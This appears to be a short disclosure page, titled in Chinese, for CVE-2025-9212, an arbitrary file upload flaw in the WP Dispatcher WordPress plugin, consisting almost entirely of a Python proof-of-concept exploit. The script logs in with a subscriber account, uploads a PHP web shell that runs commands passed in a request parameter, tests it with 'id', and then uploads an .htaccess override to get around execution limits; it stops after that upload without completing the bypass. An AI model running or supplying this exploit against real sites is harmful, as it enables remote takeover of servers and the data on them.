CVE-2025-9212：WP Dispatcher插件任意文件上传漏洞

# CVE-2025-9212 - WP Dispatcher Arbitrary File Upload PoC # Vulnerability: Missing file type validation in wp_dispatcher_process_upload() # Affected: WP Dispatcher plugin <= 1.2.0 # Required: Subscriber-level authentication or above import requests # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "password123" # Step 1: Authenticate to WordPress session = requests.Session() # Login to WordPress login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Create malicious PHP webshell payload php_shell_content = "<?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);} ?>" # Step 3: Upload the malicious file via WP Dispatcher upload functionality files = { "file": ("shell.php", php_shell_content, "application/x-php") } # The upload endpoint handled by wp_dispatcher_process_upload() upload_url = f"{TARGET_URL}/wp-admin/admin.php?page=wp-dispatcher" upload_response = session.post(upload_url, files=files) print(f"Upload status: {upload_response.status_code}") print(f"Response: {upload_response.text[:500]}") # Step 4: Try to access the uploaded shell # Note: .htaccess may limit direct PHP execution, but can be bypassed shell_url = f"{TARGET_URL}/wp-content/uploads/wp-dispatcher/shell.php" shell_response = requests.get(f"{shell_url}?cmd=id") if "uid=" in shell_response.text: print(f"[+] RCE successful! Output: {shell_response.text}") else: print("[-] Direct execution blocked by .htaccess, try alternative bypass:") # Attempt .htaccess override upload htaccess_override = "AddType application/x-httpd-php .txt" files_override = {"file": (".htaccess", htaccess_override, "text/plain")} session.post(upload_url, files=files_override)